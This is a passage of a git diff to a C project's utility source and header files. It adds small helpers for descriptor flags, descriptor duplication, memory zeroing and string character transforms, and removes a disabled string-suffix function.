a/src/util_rt.c +++ b/src/util_rt.c @@ -29,6 +29,31 @@ void prne_shutdown (const int fd, const int how) { } } +bool prne_sck_fcntl (const int fd) { + fcntl(fd, F_SETFD, FD_CLOEXEC); + return fcntl(fd, F_SETFL, O_NONBLOCK) == 0; +} + +int prne_chfd (const int old, const int ny) { + int ret; + + if (old == ny) { + return old; + } + + ret = dup2(old, ny); + if (ret < 0) { + return ret; + } + close(old); + + return ret; +} + +void prne_memzero(void *addr, const size_t len) { + memset(addr, 0, len); +} + void *prne_malloc (const size_t se, const size_t cnt) { size_t size; @@ -164,6 +189,12 @@ size_t prne_str_shift_spaces (char *str, const size_t len) { return ret; } +void prne_transstr (char *str, int(*trans_f)(int)) { + for (; *str != 0; str += 1) { + *str = (char)trans_f(*str); + } +} + bool prne_hex_fromstr (const char *str, uint_fast8_t *out) { static const uint_fast8_t shift[2] = { 4, 0 }; size_t i; diff --git a/src/util_rt.h b/src/util_rt.h index a9fb39b..f44e4ae 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -11,21 +11,17 @@ #include <mbedtls/ctr_drbg.h> -#if 0 -bool prne_strendsw (const char *str, const char *w) { - const size_t len_str = strlen(str); - const size_t len_w = strlen(w); - - if (len_str < len_w) { - return false; - } - return strcmp(str + (len_str - len_w), w) == 0; -} -#endif - void prne_empty_func (void); void prne_close (const int fd); void prne_shutdown (const int fd, const int how); +/* prne_sck_fcntl(fd) +* +* Sets FD_CLOEXEC and O_NONBLOCK. Failure to set FD_CLOEXEC is ignored. +*/ +bool prne_sck_fcntl (const int fd); +int prne_chfd (const int old, const int ny); + +void prne_memzero(void *addr, const size_t len); void *prne_malloc (const size_t se, const size_t cnt); void *prne_realloc (void *ptr, const size_t se, const size_t cnt); @@ -39,6 +35,7 @@ size_t prne_nstrlen (const char *s); void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len); char *prne_strnchr (const char *p, const char c, const size_t n); size_t prne_str_shift_spaces (char *str, const size_t len); +void prne_transstr (char *str, int(*trans_f)(int)); bool prne_hex_fromstr (const char *str, uint_fast8_t *out); void prne_hex_tochar (const uint_fast8_t in, char *out, const bool upper); |